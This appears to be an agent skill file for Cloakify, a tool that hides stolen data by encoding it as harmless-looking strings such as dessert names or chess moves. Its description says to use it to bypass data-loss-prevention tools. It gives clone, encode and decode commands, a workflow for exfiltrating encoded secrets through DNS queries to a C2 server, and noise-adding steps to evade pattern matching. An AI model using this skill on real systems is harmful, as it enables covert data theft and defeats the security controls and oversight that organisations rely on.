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name: cloakify description: "Exfiltrate data by encoding it as innocuous-looking strings (tweets, chess moves, cat names). Use when needing to bypass DLP tools by disguising exfiltrated data as benign traffic or files." license: MIT compatibility: "Python 2/3; Linux/macOS; github.com/TryCatchHCF/Cloakify" metadata: author: AeonDave version: "1.0"

Cloakify

Data exfiltration via steganographic encoding — disguise payloads as benign content.

Quick Start

git clone https://github.com/TryCatchHCF/Cloakify
cd Cloakify

# Encode file into disguised output
python cloakify.py payload.zip ciphers/desserts.ciph > exfil.txt

# Decode on attacker side
python decloakify.py exfil.txt ciphers/desserts.ciph > payload.zip

Core Usage

Command	Purpose
cloakify.py <file> <cipher>	Encode payload with cipher
decloakify.py <file> <cipher>	Decode back to original
listCiphers.py	Show available ciphers
addNoise.py	Add noise lines to output
removeNoise.py	Strip noise before decoding

Available Ciphers (examples)

desserts · movies1984 · chessOpenings · twitterFavoriteEmoji · ATampTAreaCodes · geo_lattitude

Common Workflows

Exfil over DNS (combine with dnscat):

# 1. Encode
python cloakify.py secrets.txt ciphers/desserts.ciph > encoded.txt
# 2. Paste each line as DNS query hostname
# 3. Decode on C2
python decloakify.py captured.txt ciphers/desserts.ciph

Add noise to evade pattern matching:

python cloakify.py payload.zip ciphers/movies1984.ciph | python addNoise.py 10 > noisy.txt
python removeNoise.py noisy.txt 10 | python decloakify.py /dev/stdin ciphers/movies1984.ciph

Resources

File	When to load
references/	Cipher creation guide